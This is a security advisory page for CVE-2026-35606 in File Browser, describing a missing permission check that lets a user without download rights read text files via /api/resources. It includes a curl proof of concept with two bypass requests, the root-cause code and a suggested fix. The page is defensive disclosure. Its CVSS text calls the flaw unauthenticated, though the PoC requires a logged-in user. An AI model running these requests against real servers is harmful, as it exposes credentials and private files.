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🛡️ CVE-2026-35606 — filebrowser

🟠 CVSS 7.5 — High ⚠️ Exploit Public CWE-862 NVD
7.5
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

File Browser discloses text file content via /api/resources endpoint bypassing Perm.Download check

Summary

The resourceGetHandler in http/resource.go returns full text file content without checking the Perm.Download permission flag. All three other content-serving endpoints (/api/raw, /api/preview, /api/subtitle) correctly verify this permission before serving content. A user with download: false can read any text file within their scope through two bypass paths.

Confirmed on v2.62.2 (commit 860c19d).

Root Cause

http/resource.go line 26-33 hardcodes Content: true in the FileOptions without checking download permission:

file, err := files.NewFileInfo(&files.FileOptions{

...

Content: true, // Always loads text content, no permission check

})

Lines 44-63: the X-Encoding: true header path reads the entire file and returns raw bytes as application/octet-stream, also without any download check.

Compare with the three protected endpoints:

// raw.go:83-85

if !d.user.Perm.Download { return http.StatusAccepted, nil }

// preview.go:38-40

if !d.user.Perm.Download { return http.StatusAccepted, nil }

// subtitle.go:13-15

if !d.user.Perm.Download { return http.StatusAccepted, nil }

PoC

Tested on filebrowser v2.62.2, built from HEAD.

# Create user with download=false via CLI

filebrowser users add restricted testuser123456 --perm.download=false

# Login

TOKEN=$(curl -s http://HOST/api/login -d '{"username":"restricted","password":"testuser123456"}')

# BLOCKED: /api/raw correctly enforces download permission

curl -s -w "\nHTTP: %{http_code}" http://HOST/api/raw/secret.txt -H "X-Auth: $TOKEN"

# → 202 Accepted (empty body)

# BYPASS 1: /api/resources with X-Encoding returns raw file content

curl -s http://HOST/api/resources/secret.txt -H "X-Auth: $TOKEN" -H "X-Encoding: true"

# → 200 OK, body: SECRET_PASSWORD=hunter2

# BYPASS 2: /api/resources JSON includes content field

curl -s http://HOST/api/resources/secret.txt -H "X-Auth: $TOKEN" | jq .content

# → "SECRET_PASSWORD=hunter2\n"

Impact

A user with download: false can read the full content of text files within their authorized scope (up to the 10MB detectType limit). This includes source code, configuration files, credentials, and API tokens stored as text.

This bypass does not defeat path authorization. It bypasses only the Download permission for files the user can otherwise address within their authorized scope. The inconsistency across the four content-serving endpoints (three check Perm.Download, one does not) indicates this is an oversight, not a design decision.

Suggested Fix

Match the existing endpoint behavior (HTTP 202 for denied downloads):

Content: d.user.Perm.Download, // Only load content when permitted

And add a guard before the X-Encoding raw byte path, matching the existing 202 pattern:

if !d.user.Perm.Download {

return http.StatusAccepted, nil

}

Update: Fix submitted as PR #5891.

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality high, integrity none, availability none.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: Low — the attack works reliably, with no preparation.
  • Privileges required: None — an unauthenticated stranger can try it.
  • User interaction: None — nobody has to be tricked into anything.
  • Scope: Unchanged — the damage stays inside the vulnerable component.
  • Confidentiality impact: High — total loss, or loss the attacker controls.
  • Integrity impact: None.
  • Availability impact: None.

Weakness class

CVE-2026-35606 is classified as CWE-862: Missing Authorization. No authorisation check is performed before carrying out a restricted action.

Affected software

CVE-2026-35606 is recorded against 3 packages.

  • filebrowser (fixed in 2.63.0)
  • github.com/filebrowser/filebrowser
  • github.com/filebrowser/filebrowser/v2

Timeline and source

Published on 7 April 2026 and last revised on 17 June 2026. A public exploit is known to exist, which raises the urgency of patching considerably. Record sourced from NVD.

References

github.com
github.com

Other advisories for this package

filebrowser has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-862: Missing Authorization) in other software:

Details

Severity HIGH
CVSS Score 7.5
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
CWE CWE-862
Public Exploit ⚠️ Yes
Source NVD
Published 2026-04-07
Updated 2026-08-20
Modified 2026-06-17
Fix URL N/A

Affected Packages

Software From version Fixed in
filebrowser 2.63.0
github.com/filebrowser/filebrowser
github.com/filebrowser/filebrowser/v2

Similar Threats

Exploit Protection

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